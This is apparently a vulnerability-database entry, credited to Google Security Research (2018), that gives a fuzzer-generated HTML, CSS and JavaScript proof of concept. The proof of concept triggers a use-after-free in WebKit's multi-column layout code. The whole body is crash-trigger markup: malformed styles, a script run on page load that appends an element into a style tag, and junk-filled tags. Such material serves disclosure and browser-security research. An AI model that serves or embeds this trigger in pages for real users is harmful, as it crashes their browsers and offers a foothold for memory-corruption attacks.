WebKit - 'WebCore::RenderMultiColumnSet::updateMinimumColumnHeight' Use-After-Fr

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WebKit - 'WebCore::RenderMultiColumnSet::updateMinimumColumnHeight' Use-After-Fr

来源：Google Security Research 作者：Google 发布时间：2018-09-26

<style id="s">
#htmlvar00002, #htmlvar00006 { column-span: all; }
:root { 1px; position: fixed; -webkit-column-width: 1px; }
.class2 { text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '\.' }
defs~element, .class8 { display: grid; 1s; }
</style>
<script>
function jsfuzzer() {
/* newvar{htmlvar00078:HTMLHRElement} */ htmlvar00078 = document.createElement("hr"); //HTMLHRElement
try { s.appendChild(htmlvar00078); } catch(e) { }
}
</script>
<body onload=jsfuzzer()>
<details style="mso-data-placement: same-cell; content: url(#svgvar00005); framemargin="1">
<summary id="htmlvar00002" ref="author">#>,TjEf3B0([{</summary>
--r</details>
<dt class="class8" multiple="multiple">
<table class="class2" checked="checked">
<caption icon=":x4Tt3j/oh%0&!;/C|">]C9C^]x:.</dt>

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